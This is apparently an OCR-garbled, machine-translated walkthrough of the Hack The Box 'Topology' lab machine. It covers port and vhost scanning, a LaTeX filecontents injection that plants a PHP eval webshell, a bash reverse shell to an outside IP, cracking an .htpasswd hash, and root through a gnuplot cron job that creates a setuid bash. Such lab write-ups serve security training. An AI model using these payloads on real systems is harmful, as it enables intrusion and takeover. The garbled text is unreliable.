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Nmap

r—(roote**kali)-[~]

L# nmap -A 10.10.11.217

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-11 22:39 EDT
Verbosity Increased to 1.

Stats: ©0:01:12 elapsed; @ hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 1 (1 waiting)

NSE Timing: About 93.75% done; ETC: 22:4@0 (0:00:00 remaining)
Verbosity Increased to 2.

Completed NSE at 22:40, 7.32s elapsed

NSE: Starting runlevel 3 (of 3) scan.

Initiating NSE at 22:40

Completed NSE at 22:40, 0.00s elapsed

Nmap scan report for localhost (10.10.11.217)

Host is up (0.18s latency).

Scanned at 2023-06-11 22:39:04 EDT for 73s

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu@.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 3072 dcbc3286e8e8457810bc2b5dbf@f55c6 (RSA)

| 256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)

|_ 256 4ca65075d0934f9c4alb890a7a2708d7 (ED25519)

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Miskatonic University | Topology Group

| _http-server-header: Apache/2.4.41 (Ubuntu)

No exact 0S matches for host (If you know what 0S is running on it, see https://nmap.oxrg/submit/ ).

TCP/IP fingerprint:
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vhost /&%

r—(root**kali)-[/home/kali/hacktheboxtools/machine/topology]

L—# gobuster vhost -u http://topology.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-toplmillion-110000.txt -t 1

X ERIEE T — 1 dev.topology.htbfig &

latex.topology.htb
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Refer-HackTrick: https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection#latex-injection
Refer-github: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX %20Injection
exists laTex expression injection

Try the simplest file contains
image.png
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Found to be banned

Push gpt to get latex syntax
image.png
Discover

\begin{filecontents}{myfile.txt}
Hello, World!
\end{filecontents}

This syntax can be written into a file, and the site is written in php. Try to write a horse
\begin{filecontents}{someb@dy.php}

<?php @eval($_POST['cmd']); ?>

\end{filecontents}

url-encoded

%5Cbegin%7Bfilecontents%7D%7Bsomeb@dy . php%7D%@A%3C%3Fphp%20%40eval®%28%24_POST%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%S5Cend%7Bfilecontents%7D

image.png
image.png

But I found that it didn’t seem to be written successfully, I couldn’t write it in for a long time -_-, continue to spur
image.png

Modified webshell

\begin{filecontents*}{someb@dyl.php}
<?php @eval($_POST['cmd']); ?>
\end{filecontents*}

url-encoded

%5Cbegin%7Bfilecontents%2A%7D%7Bsomeb@dy1 . php%7D%@A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%5Cend%7Bfileconter 57D
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I finally wrote it in, I wrote the webshell for a day - I got it!!! Old 6 report
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rebound shell
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bash -i >& /dev/tcp/10.10.16.8/4444 0>&1
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Got a shell with www-data user rights

[var/www/dev/.htpasswd

here looks like a password file

image.png
vdaisley:$apr1$10NUB/S2$58eeNVirnRDB5zAIbIXTYO0
try to decrypt
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username password

vdaisley calculus20

dev.topology.htb
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try ssh login successfully

root
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B] A& Zfind /opt/gunplot -name *plt -exec gunplot {}
XEmS BRI/ opt/gunplotiX N B R M EE * plthyst i
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Refer:http://www.gnuplot.info/docs _4.2/node327.html
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system “Gp%” XM LAMITR S

-bash-5.0% echo "system 'cp /bin/bash /tmp/someb@dy;chmod u+s /tmp/someb@dy'">someb@dy.plt
-bash-5.0% cp someb@dy.plt /opt/gnuplot/someb@dy.plt

-bash-5.0% ./someb@dy -p

someb@dy-5.0# whaomi

root
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